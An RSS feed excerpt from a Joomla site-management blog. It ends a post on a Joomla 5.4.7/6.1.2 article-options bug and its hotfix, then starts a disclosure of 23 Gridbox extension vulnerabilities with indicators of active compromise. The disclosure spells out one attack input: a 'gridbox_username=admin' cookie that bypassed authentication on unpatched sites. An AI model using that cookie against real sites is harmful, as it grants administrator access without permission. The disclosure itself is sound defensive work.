1080w, https://mysites.guru/_astro/joomla-article-options-hotfix-applied.p5UMmBjL_mzzWx.webp 1280w, https://mysites.guru/_astro/joomla-article-options-hotfix-applied.p5UMmBjL_ZOyY8W.webp 1500w&quot; /&gt;&lt;/p&gt;
&lt;/div&gt;
&lt;h3&gt;“It’s Just a Single File”&lt;/h3&gt;
&lt;p&gt;Which is the other thing being said in the comments, and it is completely right. One file, one hotfix, a couple of minutes.&lt;/p&gt;
&lt;p&gt;So try the version of that question an agency actually has to answer: which of the 300 client sites you updated before anyone knew about this issue have that one core file modified, and which do not? By hand, that is 300 administrator logins, or SSH and a checksum on 300 servers.&lt;/p&gt;
&lt;p&gt;The &lt;a href=&quot;https://manage.mysites.guru/en/tools/allsites/Joomla/joomlaconfiguration/articleoptionsignored&quot;&gt;all-sites view for this check&lt;/a&gt; answers it on one page, in one place. It lists only your connected Joomla sites reporting 5.4.7 or 6.1.2, so the page is your affected set rather than a list you have to filter down, and every row has the same badge as the snapshot panel: a red count of the published articles currently losing their Options, or a green OK. Investigate on any row applies Joomla’s official hotfix to that site. Job done.&lt;/p&gt;
&lt;div&gt;
&lt;p&gt;&lt;img alt=&quot;The mySites.guru all-sites view headed Article Options Ignored (Joomla 5.4.7 and 6.1.2), listing 89 Joomla sites for this check. Each row has a status badge, the site name and two buttons, Investigate and Manage Site. Red badges show a count of affected articles such as 141 Articles, 38 Articles and 1 Article, green OK badges mark sites with nothing to fix, and grey No Data - Take a new snapshot badges mark sites that have not yet run the check&quot; loading=&quot;lazy&quot; sizes=&quot;(min-width: 2048px) 2048px, 100vw&quot; width=&quot;2048&quot; height=&quot;1552&quot; src=&quot;https://mysites.guru/_astro/joomla-article-options-hotfix-all-sites.DiDrx2Oq_ZISbBW.webp&quot; srcset=&quot;https://mysites.guru/_astro/joomla-article-options-hotfix-all-sites.DiDrx2Oq_aXl5X.webp 640w, https://mysites.guru/_astro/joomla-article-options-hotfix-all-sites.DiDrx2Oq_Z22LVSC.webp 750w, https://mysites.guru/_astro/joomla-article-options-hotfix-all-sites.DiDrx2Oq_1inK0I.webp 828w, https://mysites.guru/_astro/joomla-article-options-hotfix-all-sites.DiDrx2Oq_1F8htH.webp 1080w, https://mysites.guru/_astro/joomla-article-options-hotfix-all-sites.DiDrx2Oq_ZkynrQ.webp 1280w, https://mysites.guru/_astro/joomla-article-options-hotfix-all-sites.DiDrx2Oq_Z18zANg.webp 1668w, https://mysites.guru/_astro/joomla-article-options-hotfix-all-sites.DiDrx2Oq_ZISbBW.webp 2048w&quot; /&gt;&lt;/p&gt;
&lt;/div&gt;
&lt;p&gt;Every site gets the same two gates, so one whose &lt;code&gt;ArticleModel.php&lt;/code&gt; somebody has already edited is rejected rather than overwritten. A successful patch runs a fresh snapshot for that site straight away, so its badge reflects the file you just wrote instead of waiting for the next scheduled run.&lt;/p&gt;
&lt;p&gt;Patched sites stay on the list, because patching does not change the version a site reports: the list works as a progress bar, turning green a row at a time until you are through the portfolio.&lt;/p&gt;
&lt;p&gt;One caveat. A green OK here means per-article Options are working, which covers both a patched site and a site where no published article sets any Options to lose. When you want the file-level answer, the per-site panel above reports Broken or Hotfix applied from the bytes on disk.&lt;/p&gt;
&lt;h2&gt;The Joomla Menu Item Workaround, and Where It Falls Short&lt;/h2&gt;
&lt;p&gt;If you cannot patch core on a particular site, set the layout on the &lt;strong&gt;menu item&lt;/strong&gt; rather than the article. Looking back at the view code above, &lt;code&gt;$active-&amp;gt;query[&apos;layout&apos;]&lt;/code&gt; is checked first and wins, so it never reaches the broken merge.&lt;/p&gt;
&lt;p&gt;For a custom layout to appear in the menu item’s dropdown it needs an &lt;code&gt;.xml&lt;/code&gt; manifest next to the &lt;code&gt;.php&lt;/code&gt; file, because Joomla only offers layouts it can find a manifest for:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;&lt;span&gt;&lt;span&gt;&amp;lt;?&lt;/span&gt;&lt;span&gt;xml&lt;/span&gt;&lt;span&gt; version&lt;/span&gt;&lt;span&gt;=&lt;/span&gt;&lt;span&gt;&quot;&lt;/span&gt;&lt;span&gt;1.0&lt;/span&gt;&lt;span&gt;&quot;&lt;/span&gt;&lt;span&gt; encoding&lt;/span&gt;&lt;span&gt;=&lt;/span&gt;&lt;span&gt;&quot;&lt;/span&gt;&lt;span&gt;UTF-8&lt;/span&gt;&lt;span&gt;&quot;&lt;/span&gt;&lt;span&gt;?&amp;gt;&lt;/span&gt;&lt;/span&gt;
&lt;span&gt;&lt;span&gt;&amp;lt;&lt;/span&gt;&lt;span&gt;metadata&lt;/span&gt;&lt;span&gt;&amp;gt;&lt;/span&gt;&lt;/span&gt;
&lt;span&gt;&lt;span&gt;	&amp;lt;&lt;/span&gt;&lt;span&gt;layout&lt;/span&gt;&lt;span&gt; title&lt;/span&gt;&lt;span&gt;=&lt;/span&gt;&lt;span&gt;&quot;&lt;/span&gt;&lt;span&gt;Team Page&lt;/span&gt;&lt;span&gt;&quot;&lt;/span&gt;&lt;span&gt;&amp;gt;&lt;/span&gt;&lt;/span&gt;
&lt;span&gt;&lt;span&gt;		&amp;lt;&lt;/span&gt;&lt;span&gt;message&lt;/span&gt;&lt;span&gt;&amp;gt;&lt;/span&gt;&lt;span&gt;&amp;lt;![CDATA[&lt;/span&gt;&lt;span&gt;Team page layout.&lt;/span&gt;&lt;span&gt;]]&amp;gt;&lt;/span&gt;&lt;span&gt;&amp;lt;/&lt;/span&gt;&lt;span&gt;message&lt;/span&gt;&lt;span&gt;&amp;gt;&lt;/span&gt;&lt;/span&gt;
&lt;span&gt;&lt;span&gt;	&amp;lt;/&lt;/span&gt;&lt;span&gt;layout&lt;/span&gt;&lt;span&gt;&amp;gt;&lt;/span&gt;&lt;/span&gt;
&lt;span&gt;&lt;span&gt;&amp;lt;/&lt;/span&gt;&lt;span&gt;metadata&lt;/span&gt;&lt;span&gt;&amp;gt;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Joomla scans &lt;code&gt;templates/&amp;lt;template&amp;gt;/html/&amp;lt;component&amp;gt;/&amp;lt;view&amp;gt;/*.xml&lt;/code&gt; and builds the request variable as &lt;code&gt;template:layout&lt;/code&gt;, so the menu link ends up as &lt;code&gt;...&amp;amp;id=342&amp;amp;layout=yourtemplate:team-page&lt;/code&gt;.&lt;/p&gt;
&lt;p&gt;We built and verified this on a client site before the hotfix existed, then reverted it once the hotfix shipped. It works, but be clear about what it does not do. It only rescues the layout, not the other article Options, and it only helps the pages you remember to fix. It is a stopgap for a handful of important pages, not a fix for a site.&lt;/p&gt;
&lt;h2&gt;Three Joomla Fixes That Will Make Things Worse&lt;/h2&gt;
&lt;p&gt;Some of the obvious workarounds cause more damage than the bug.&lt;/p&gt;
&lt;h3&gt;Do not change the com_content global Alternative Layout&lt;/h3&gt;
&lt;p&gt;It looks like it fixes the broken page, and it changes every other article that relies on the default at the same time.&lt;/p&gt;
&lt;h3&gt;Do not add &lt;code&gt;article_layout&lt;/code&gt; or &lt;code&gt;use_article&lt;/code&gt; to a Single Article menu item’s parameters by hand&lt;/h3&gt;
&lt;p&gt;That field only exists on category menu item types, so the administrator form drops it the next time anyone saves that menu item, and the page breaks again weeks later.&lt;/p&gt;
&lt;h3&gt;Do not roll back to 5.4.6 or 6.1.1 to escape it&lt;/h3&gt;
&lt;p&gt;Those releases are missing the ten security fixes that shipped in &lt;a href=&quot;https://mysites.guru/blog/joomla-5-4-6-and-6-1-1-patch-ten-security-issues/&quot;&gt;5.4.6 and 6.1.1&lt;/a&gt; and later. Trading a cosmetic rendering bug for known security holes is a bad deal in every direction. Patch the file instead.&lt;/p&gt;
&lt;h2&gt;Where This Leaves Joomla Site Owners&lt;/h2&gt;
&lt;p&gt;The fix itself was quick. &lt;a href=&quot;https://github.com/joomla/joomla-cms/issues/48058&quot;&gt;Issue #48058&lt;/a&gt; was raised on 8 July, one day after the release, and &lt;a href=&quot;https://github.com/joomla/joomla-cms/pull/48060&quot;&gt;PR #48060&lt;/a&gt; was merged on 10 July. It restores the original wholesale merge and it is sitting in the &lt;code&gt;5.4-dev&lt;/code&gt;, &lt;code&gt;6.1-dev&lt;/code&gt; and &lt;code&gt;6.2-dev&lt;/code&gt; branches right now.&lt;/p&gt;
&lt;p&gt;It just has not been released. 5.4.8 and 6.1.3 are both open milestones with a target date of 18 August 2026, which means that for over a month the newest stable Joomla on both supported branches has shipped this bug, with no upgrade path away from it.&lt;/p&gt;
&lt;h3&gt;The fix has now shipped&lt;/h3&gt;
&lt;p&gt;Joomla 5.4.8 and 6.1.3 shipped on 19 August 2026, and both have the merge commit for PR #48060, so the article options bug is fixed in each. The update to be on now is 5.4.9 or 6.1.4, which keeps that fix. Both are also security releases, closing ten advisories including an MFA authentication bypass, so there is no argument for staying put. There is one catch, and it is the same lesson this post is about: &lt;a href=&quot;https://mysites.guru/blog/joomla-5-4-8-template-manager-broken/&quot;&gt;5.4.8 and 6.1.3 break the Template Manager&lt;/a&gt;, so creating a template override throws a “Snooping out of bounds” error. That bug is fixed in 5.4.9 and 6.1.4, released on 29 September 2026 with 16 more security fixes, so go straight to those: &lt;a href=&quot;https://mysites.guru/blog/joomla-5-4-9-and-6-1-4-security-release/&quot;&gt;Joomla 5.4.9 and 6.1.4 security release&lt;/a&gt;.&lt;/p&gt;
&lt;p&gt;Which is a reminder worth taking seriously if you look after sites for other people: “keep everything on the latest version” is good policy and it is not a complete one. You still need to know what version each site is actually on, and you need to hear about a bad release before your client does. This is the same discipline that stops &lt;a href=&quot;https://mysites.guru/blog/how-to-prevent-accidental-joomla-version-jumps/&quot;&gt;accidental version jumps&lt;/a&gt; and catches &lt;a href=&quot;https://mysites.guru/blog/joomla-update-not-possible-offered-update-has-expired/&quot;&gt;update channel failures&lt;/a&gt; before they become support tickets. It is not unique to Joomla either, as anyone who lived through the &lt;a href=&quot;https://mysites.guru/blog/wordpress-6-9-2-security-release-crashes-websites/&quot;&gt;WordPress 6.9.2 release that crashed sites&lt;/a&gt; will recognise.&lt;/p&gt;
&lt;p&gt;The bug is annoying. Not knowing which of your sites has it is the actual problem.&lt;/p&gt;
&lt;h2&gt;Further Reading&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;&lt;a href=&quot;https://www.joomla.org/announcements/release-news/joomla-6-1-2-5-4-7-security-bugfix-release.html&quot;&gt;Joomla 6.1.2 and 5.4.7 release announcement&lt;/a&gt; - has the known-issue warning card and the hotfix link&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://manual.joomla.org/updates/60-61/known-issues/6.1.2/&quot;&gt;Joomla 6.1.2 Known Issues&lt;/a&gt; - the official known-issues page, including the hotfix checksums&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://manual.joomla.org/migrations/53-54/known-issues/5.4.7/&quot;&gt;Joomla 5.4.7 Known Issues&lt;/a&gt; - the same guidance for the 5.4 branch&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://github.com/joomla/joomla-cms/issues/48058&quot;&gt;Issue #48058&lt;/a&gt; - the regression report against 5.4.7&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://github.com/joomla/joomla-cms/pull/48060&quot;&gt;PR #48060&lt;/a&gt; - the fix, merged and awaiting release&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://github.com/joomla/joomla-cms/pull/47752&quot;&gt;PR #47752&lt;/a&gt; - the change that caused it&lt;/li&gt;
&lt;/ul&gt;</content:encoded><author>phil@mysites.guru (Phil Taylor)</author><category>joomla</category><category>joomla 6</category><category>updates</category><category>regression</category><category>best practice</category><enclosure url="https://mysites.guru/img/og/blog/joomla-6-1-2-5-4-7-article-options-ignored.png" length="0" type="image/png"/></item><item><title>Another 23 Critical Security Vulnerabilities in Gridbox for Joomla</title><link>https://mysites.guru/blog/gridbox-23-critical-vulnerabilities/</link><guid isPermaLink="true">https://mysites.guru/blog/gridbox-23-critical-vulnerabilities/</guid><description>Balbooa asked mySites.guru to audit Gridbox for Joomla. We found 23 vulnerabilities, including a pre-auth RCE, some exploited already. Fixed in 2.20.2.</description><pubDate>Wed, 29 Jul 2026 13:08:00 GMT</pubDate><content:encoded>&lt;p&gt;&lt;a href=&quot;https://www.balbooa.com/gridbox&quot;&gt;Gridbox&lt;/a&gt; is a widely used drag-and-drop page builder for Joomla, built by Balbooa. On the sites we can see it running, it is usually the thing the whole front end depends on.&lt;/p&gt;
&lt;p&gt;Last week we &lt;a href=&quot;https://mysites.guru/blog/gridbox-critical-authentication-bypass/&quot;&gt;disclosed a critical authentication bypass in Gridbox&lt;/a&gt;, &lt;a href=&quot;https://mysites.guru/vulnerabilities/CVE-2026-61425/&quot;&gt;CVE-2026-61425&lt;/a&gt;, fixed in 2.20.1. Balbooa’s response to that was to ask us to look harder: they invited a full security review of the component. We did it. The findings were worse than any of us expected.&lt;/p&gt;
&lt;p&gt;Twenty-three distinct vulnerabilities in one Joomla extension, including a pre-authentication remote code execution reachable in a single HTTP request. It took Balbooa three attempts to close them all, and the complete fix is now out as &lt;strong&gt;Gridbox 2.20.2&lt;/strong&gt;. It shipped into a live incident: several of these flaws are being exploited in the wild right now, which we have watched happen in server logs and on already-compromised sites, and which the Joomla Security Strike Team has confirmed. If you run Gridbox, update to 2.20.2 today and check the site for compromise.&lt;/p&gt;
&lt;div&gt;
  &lt;div&gt;
    &lt;p&gt;The honest verdict&lt;/p&gt;
    &lt;p&gt;In twenty years of taking apart Joomla extensions, I have not seen one this badly secured. Not close.&lt;/p&gt;
    &lt;p&gt;A single component that hands an anonymous visitor code execution, administrator access, and the entire user table&apos;s password hashes, by more than one route each.&lt;/p&gt;
  &lt;/div&gt;
&lt;/div&gt;
&lt;div&gt;
  &lt;p&gt;We are withholding every endpoint, parameter and proof-of-concept in this post. These issues are being exploited right now, and while the fix is public as Gridbox 2.20.2, plenty of sites are still unpatched. This is how we handle every vulnerability we find: fix first, publish second, and never hand attackers a recipe. What follows is the shape of the problem and what you need to do.&lt;/p&gt;
&lt;/div&gt;
&lt;h2&gt;TL;DR&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;Balbooa &lt;strong&gt;asked us to audit Gridbox&lt;/strong&gt; after our earlier disclosure. We audited &lt;strong&gt;2.20.2&lt;/strong&gt; and found &lt;strong&gt;22 vulnerabilities in the one component&lt;/strong&gt;, and a &lt;strong&gt;23rd&lt;/strong&gt; surfaced days later as the attacks started&lt;/li&gt;
&lt;li&gt;The headline is a &lt;strong&gt;pre-authentication remote code execution&lt;/strong&gt;: one HTTP request, no account, no session, no token, and a working PHP file is written into a web-reachable folder&lt;/li&gt;
&lt;li&gt;There are &lt;strong&gt;two more routes to code execution&lt;/strong&gt;, &lt;strong&gt;more ways to become an administrator with no password&lt;/strong&gt;, and &lt;strong&gt;several unauthenticated SQL injection points&lt;/strong&gt;, one of which returns &lt;strong&gt;every user’s password hash&lt;/strong&gt;&lt;/li&gt;
&lt;li&gt;Balbooa’s first fix builds did &lt;strong&gt;not&lt;/strong&gt; close everything. We re-tested each one, and several findings were still live, including an anonymous SQL injection they believed was closed. It took &lt;strong&gt;three builds&lt;/strong&gt; to get it right, now shipped as &lt;strong&gt;Gridbox 2.20.2&lt;/strong&gt;&lt;/li&gt;
&lt;li&gt;Several issues are being &lt;strong&gt;actively exploited in the wild&lt;/strong&gt;. We have seen the attempts in server logs and connected sites with planted administrator accounts, and the &lt;strong&gt;Joomla Security Strike Team&lt;/strong&gt; confirmed at least three. One is a &lt;strong&gt;brand-new privilege escalation&lt;/strong&gt;: any public registrant can create an administrator account&lt;/li&gt;
&lt;li&gt;The &lt;strong&gt;Joomla CNA assigned eleven CVEs&lt;/strong&gt;, grouped by root cause, and &lt;strong&gt;all eleven have now published&lt;/strong&gt;. Seven are Critical, topping out at &lt;strong&gt;10.0&lt;/strong&gt;, and four have the exploit maturity &lt;strong&gt;Attacked&lt;/strong&gt;, which is the CVE record officially recording that these are being used against real sites&lt;/li&gt;
&lt;li&gt;If you run Gridbox on any Joomla site, treat it as &lt;strong&gt;at risk now&lt;/strong&gt;, &lt;strong&gt;update to Gridbox 2.20.2 immediately&lt;/strong&gt;, and &lt;strong&gt;check for compromise&lt;/strong&gt;&lt;/li&gt;
&lt;li&gt;This is &lt;strong&gt;the worst-secured Joomla extension we have ever audited&lt;/strong&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;h2&gt;Update, 8 October 2026: Gridbox 2.20.4.0 is now the version to install&lt;/h2&gt;
&lt;p&gt;Balbooa released Gridbox 2.20.4.0 with two more security fixes: a Cross-Site Request Forgery flaw in the language installation process and a tighter path check in the image preview, reported by Sergiy Tryzhychynskyi. Both are follow-ups to protections that 2.20.2 introduced, and they affect every release from 2.20.2 to 2.20.3.1. Update straight to 2.20.4.0. The details are in &lt;a href=&quot;https://mysites.guru/blog/gridbox-2-20-4-0-security-fixes/&quot;&gt;Gridbox 2.20.4.0 Fixes a Language Install CSRF and an Image Path Check&lt;/a&gt;.&lt;/p&gt;
&lt;h2&gt;Balbooa asked us to look&lt;/h2&gt;
&lt;p&gt;It is only fair to tell this in order, because Balbooa did the right thing at the start.&lt;/p&gt;
&lt;p&gt;After our &lt;a href=&quot;https://mysites.guru/blog/balbooa-forms-unauthenticated-file-upload-flaw/&quot;&gt;Balbooa Forms disclosure&lt;/a&gt; earlier in July, they came back to us unprompted, said it had prompted them to review their other products, and invited us to test Gridbox. That first look turned up the &lt;a href=&quot;https://mysites.guru/blog/gridbox-critical-authentication-bypass/&quot;&gt;authentication bypass&lt;/a&gt; fixed in 2.20.1. Rather than stop there, Balbooa asked us to perform a comprehensive audit of the whole component. We agreed, and we ran it against Gridbox 2.20.2.&lt;/p&gt;
&lt;p&gt;Inviting an outside party to break your code is a good instinct, and a rare one. We want to say that clearly, because everything after it is hard reading.&lt;/p&gt;
&lt;p&gt;For context, these are the two Balbooa flaws we had already found and disclosed before this audit, both fixed:&lt;/p&gt;





























&lt;table&gt;&lt;thead&gt;&lt;tr&gt;&lt;th&gt;Date fixed&lt;/th&gt;&lt;th&gt;Product&lt;/th&gt;&lt;th&gt;Vulnerability&lt;/th&gt;&lt;th&gt;CVE&lt;/th&gt;&lt;th&gt;Severity&lt;/th&gt;&lt;th&gt;Fixed in&lt;/th&gt;&lt;/tr&gt;&lt;/thead&gt;&lt;tbody&gt;&lt;tr&gt;&lt;td&gt;9 Jul 2026&lt;/td&gt;&lt;td&gt;Balbooa Forms (&lt;code&gt;com_baforms&lt;/code&gt;)&lt;/td&gt;&lt;td&gt;Unauthenticated file upload leading to remote code execution&lt;/td&gt;&lt;td&gt;&lt;a href=&quot;https://mysites.guru/vulnerabilities/CVE-2026-56291/&quot;&gt;CVE-2026-56291&lt;/a&gt;&lt;/td&gt;&lt;td&gt;Critical&lt;/td&gt;&lt;td&gt;2.4.1&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td&gt;20 Jul 2026&lt;/td&gt;&lt;td&gt;Gridbox (&lt;code&gt;com_gridbox&lt;/code&gt;)&lt;/td&gt;&lt;td&gt;Unauthenticated authentication bypass to Super User&lt;/td&gt;&lt;td&gt;&lt;a href=&quot;https://mysites.guru/vulnerabilities/CVE-2026-61425/&quot;&gt;CVE-2026-61425&lt;/a&gt;&lt;/td&gt;&lt;td&gt;Critical, CVSS 4.0 10.0&lt;/td&gt;&lt;td&gt;2.20.1&lt;/td&gt;&lt;/tr&gt;&lt;/tbody&gt;&lt;/table&gt;
&lt;p&gt;The Balbooa Forms flaw came to us through a hosting abuse report on a live customer site and was being exploited before the fix shipped. The Gridbox authentication bypass was in the very build Balbooa sent us as hardened. This audit is the third chapter, and by some distance the worst of the three.&lt;/p&gt;
&lt;h2&gt;Before you count the 23, there was already a 10.0&lt;/h2&gt;
&lt;p&gt;Ten days earlier, Gridbox already had a critical of its own: &lt;a href=&quot;https://mysites.guru/blog/gridbox-critical-authentication-bypass/&quot;&gt;CVE-2026-61425&lt;/a&gt;, an authentication bypass we scored at CVSS 4.0 &lt;strong&gt;10.0&lt;/strong&gt;, the maximum there is. One cookie, &lt;code&gt;gridbox_username=admin&lt;/code&gt;, and a visitor was logged in as the site’s administrator with no password and no login. Balbooa shipped &lt;strong&gt;2.20.1&lt;/strong&gt; on 20 July to close it. That release is the one that prompted the full audit, and the full audit is where the 23 came from.&lt;/p&gt;
&lt;p&gt;So the tally for a single page builder, inside about three weeks, reads like this: a 10.0 authentication bypass fixed in 2.20.1, then twenty-three more fixed across three builds up to 2.20.2, and before either of them a critical unauthenticated file upload in the same vendor’s &lt;a href=&quot;https://mysites.guru/blog/balbooa-forms-unauthenticated-file-upload-flaw/&quot;&gt;Balbooa Forms&lt;/a&gt; (&lt;a href=&quot;https://mysites.guru/vulnerabilities/CVE-2026-56291/&quot;&gt;CVE-2026-56291&lt;/a&gt;, fixed in 2.4.1). Every one of those shipped as a “security release.” Each fix was real. The uncomfortable part is how many of them there have had to be, and how often the first attempt did not finish the job.&lt;/p&gt;
&lt;p&gt;That is the pattern to hold onto if you run Gridbox. The version you were on was almost always the fixed one, right up until the next release showed it was not. 2.20.2 is where the 23 are finally closed. Get onto it.&lt;/p&gt;
&lt;h2&gt;What a full audit of one extension turned up&lt;/h2&gt;
&lt;p&gt;We do not publish exploit detail before a fix is out, so this is the shape of the findings rather than the mechanics.&lt;/p&gt;
&lt;h3&gt;One request to code execution&lt;/h3&gt;
&lt;p&gt;The worst finding is an unauthenticated arbitrary file upload. No account, no session, no token, no chain. A single well-formed request writes a file the attacker controls into a folder the web server will run. That is a PHP shell on the server, and from there the site and usually the whole hosting account are gone. Balbooa already ship a safe upload helper elsewhere in the same codebase. This path never calls it.&lt;/p&gt;
&lt;h3&gt;It is not the only route&lt;/h3&gt;
&lt;p&gt;There are two further ways to reach code execution, and more than one way to be treated as the site administrator without ever knowing a password. Several endpoints accept unauthenticated SQL injection, and one of them returns the contents of the query in the response, which means an anonymous visitor can read every username and password hash out of the database in a single request. There is unauthenticated file reading that escapes the web root, unauthenticated recursive directory deletion, and anonymous tampering with other people’s content.&lt;/p&gt;
&lt;h3&gt;The pattern is the point&lt;/h3&gt;
&lt;p&gt;These are not one author’s bad day. The same class of mistake, trusting a value from the request, recurs across unrelated files written by different people. That points at a missing security standard rather than a handful of isolated slips, which is why we told Balbooa this needs a coordinated security release and not another point patch.&lt;/p&gt;
&lt;h3&gt;Credit where it is due&lt;/h3&gt;
&lt;p&gt;One part of the component is well built: the payment callback verification. Most of the gateway integrations properly verify a signature against a merchant secret or re-check the transaction server-side, and order totals are recomputed rather than trusted from the request. Whoever wrote that knew exactly what they were doing. It makes the state of the rest harder to explain, not easier.&lt;/p&gt;
&lt;h2&gt;The “fixed” build was not fixed&lt;/h2&gt;
&lt;p&gt;Balbooa sent us a build they described as fixing everything we reported, and asked us to confirm it before they published it. We re-tested every finding against the actual code.&lt;/p&gt;
&lt;p&gt;Most were closed, and the release is a real structural rewrite in places rather than a set of sticking plasters. But several findings were still live in the build they proposed to ship. The one that matters most: an anonymous SQL injection that returns password hashes, which they believed they had fixed. They had moved the guard onto one entry point and left the identical flaw reachable through its siblings. We proved it still worked, with no login and no token, and reported that back the same evening.&lt;/p&gt;
&lt;p&gt;An authentication fix, or an injection fix, is exactly the kind of change that can be almost right. This is the entire reason a reporter asks to verify a patch before it ships. We asked, we verified, and it was not there yet.&lt;/p&gt;
&lt;p&gt;To their credit, Balbooa turned a second build around within a day. It closes the anonymous injection we had just proved, the registration flaw that was being exploited, and the other actively-exploited routes with it. On the things that mattered most, they moved fast, and it shows.&lt;/p&gt;
&lt;p&gt;That second build still was not the finished release. Two problems remained in it: a payment callback that could be forged on sites configured a common way, and a SQL injection a logged-in low-privilege user could still reach. We reported both back and asked for one coordinated release that closed everything rather than another partial build.&lt;/p&gt;
&lt;p&gt;Balbooa delivered it. &lt;strong&gt;The complete fix is Gridbox 2.20.2, released 29 July.&lt;/strong&gt; It closes the payment bypass and the last injection along with everything else we reported. Three builds is more than anyone wants a security fix to take, but every finding we reported is closed in 2.20.2, and that is the version to be on. Anything on 2.20.1 or earlier is still exposed.&lt;/p&gt;
&lt;h2&gt;Now it is being exploited&lt;/h2&gt;
&lt;p&gt;This stopped being a disclosure story and became an incident while Balbooa was still finalising the fix.&lt;/p&gt;
&lt;p&gt;The &lt;a href=&quot;https://developer.joomla.org/security.html&quot;&gt;Joomla Security Strike Team&lt;/a&gt; reported that &lt;strong&gt;at least three Gridbox issues are being actively exploited&lt;/strong&gt; in the wild and urged Balbooa to publish a fix as soon as possible. Two of the three are flaws we had already reported, one of which was in the “fixed” build. The third is new, and it is nasty in its simplicity: the registration handler adds the default group to whatever groups the visitor asks for, instead of replacing them. So &lt;strong&gt;anyone can register a normal account and place themselves straight into an administrator group.&lt;/strong&gt; No exploit skill required, just a crafted sign-up.&lt;/p&gt;
&lt;p&gt;We are not taking anyone’s word for this, our own included. We have the server access logs showing the exploitation requests arriving, and connected sites where the accounts are already planted. On one connected Joomla site our rogue admin check is holding &lt;strong&gt;92 planted accounts&lt;/strong&gt; right now, every one stamped by the same generator: the username &lt;code&gt;xtw18387&lt;/code&gt; plus four hex characters, with a matching &lt;code&gt;xtw18387+&amp;lt;hex&amp;gt;@outlook.com&lt;/code&gt; address. They arrive in batches minutes apart. On this site the run started on 27 July, two days before the Strike Team’s warning.&lt;/p&gt;
&lt;p&gt;&lt;img alt=&quot;The mySites.guru rogue accounts tool on a compromised Joomla site, listing 92 accounts with generated usernames like xtw18387561f and matching xtw18387+561f@outlook.com addresses, all registered within hours of each other on 27 July 2026, each flagged as with the username shape of a known mass-compromise campaign&quot; loading=&quot;lazy&quot; sizes=&quot;(min-width: 2572px) 2572px, 100vw&quot; width=&quot;2572&quot; height=&quot;1652&quot; src=&quot;https://mysites.guru/_astro/gridbox-rogue-accounts-active-compromise.CxQE3XFz_Z6imrh.webp&quot; srcset=&quot;https://mysites.guru/_astro/gridbox-rogue-accounts-active-compromise.CxQE3XFz_1ImP4g.webp 640w, https://mysites.guru/_astro/gridbox-rogue-accounts-active-compromise.CxQE3XFz_Z2rrErJ.webp 750w, https://mysites.guru/_astro/gridbox-rogue-accounts-active-compromise.CxQE3XFz_1QNd30.webp 828w, https://mysites.guru/_astro/gridbox-rogue-accounts-active-compromise.CxQE3XFz_Z1GLH3.webp 1080w, https://mysites.guru/_astro/gridbox-rogue-accounts-active-compromise.CxQE3XFz_Z1IPlqa.webp 1280w, https://mysites.guru/_astro/gridbox-rogue-accounts-active-compromise.CxQE3XFz_ZbCuqr.webp 1668w, https://mysites.guru/_astro/gridbox-rogue-accounts-active-compromise.CxQE3XFz_u3tqS.webp 2048w, https://mysites.guru/_astro/gridbox-rogue-accounts-active-compromise.CxQE3XFz_Z1UEg8B.webp 2560w, https://mysites.guru/_astro/gridbox-rogue-accounts-active-compromise.CxQE3XFz_Z6imrh.webp 2572w&quot; /&gt;&lt;/p&gt;
&lt;p&gt;Look at the flag on each row: not currently a Super User. The escalation does not always take, and the accounts that fail sit in the default registration group looking like ordinary sign-ups. They are still the attacker’s, and they are still a way back in. If you have ever waved past a run of odd registrations because none of them were administrators, this is what that looks like.&lt;/p&gt;
&lt;div&gt;
  &lt;p&gt;Find planted admin accounts across every Joomla site you manage&lt;/p&gt;
  &lt;p&gt;This is exactly what our &lt;a href=&quot;https://mysites.guru/blog/find-rogue-admin-accounts-joomla/&quot;&gt;Rogue Admin check&lt;/a&gt; is built for. It sweeps every connected Joomla site for accounts sitting in &lt;strong&gt;any&lt;/strong&gt; administrator group, not just Super Users, so the sign-ups that escalated show up next to the ones that failed and stayed in the registration group. You can review and delete them across all your sites from one screen.&lt;/p&gt;
  &lt;p&gt;&lt;a href=&quot;https://manage.mysites.guru/en/tools/allsites/Joomla/hacked/rogueadmins&quot;&gt;Open the Rogue Admin check&lt;/a&gt;&lt;/p&gt;
&lt;/div&gt;
&lt;p&gt;Active exploitation changes the maths for everyone running Gridbox. The fix being out does not make you safe, applying it does. Assume attackers have already tried this on your site, update to 2.20.2, and check whether they got in before you did.&lt;/p&gt;
&lt;h2&gt;Why this is the worst we have seen&lt;/h2&gt;
&lt;p&gt;We audit Joomla extensions constantly, and we have written up a lot of serious flaws this year alone. Most extensions with a bad bug have one bad bug. What sets Gridbox apart is not any single finding, bad as the pre-auth RCE is. It is that nearly every category of critical web vulnerability is present in the same component at once, that more than one of them needs no authentication at all, that the vendor’s own fix left several live, and that it is now being exploited before a complete fix is public.&lt;/p&gt;
&lt;p&gt;In two decades of this work, that combination is unique in my experience. I do not say that for effect. I say it because if you run Gridbox, you should act as if your site is a target today.&lt;/p&gt;
&lt;h2&gt;What you should do right now&lt;/h2&gt;
&lt;div&gt;
  &lt;div&gt;
    &lt;p&gt;Treat every Gridbox site as at risk now&lt;/p&gt;
    &lt;p&gt;Several of these flaws are being actively exploited and need no login. There is no configuration or firewall rule that makes an unauthenticated code-execution request safe.&lt;/p&gt;
    &lt;p&gt;Update every Gridbox site to 2.20.2 now, and check any affected site for compromise.&lt;/p&gt;
  &lt;/div&gt;
&lt;/div&gt;
&lt;ol&gt;
&lt;li&gt;&lt;strong&gt;Update Gridbox to 2.20.2&lt;/strong&gt; now. Joomla’s Extensions updater will offer it, or download it from your Balbooa account. Balbooa’s own notes are on their &lt;a href=&quot;https://www.balbooa.com/blog/gridbox/gridbox-2-20-2-security-release&quot;&gt;Gridbox security release page&lt;/a&gt;.&lt;/li&gt;
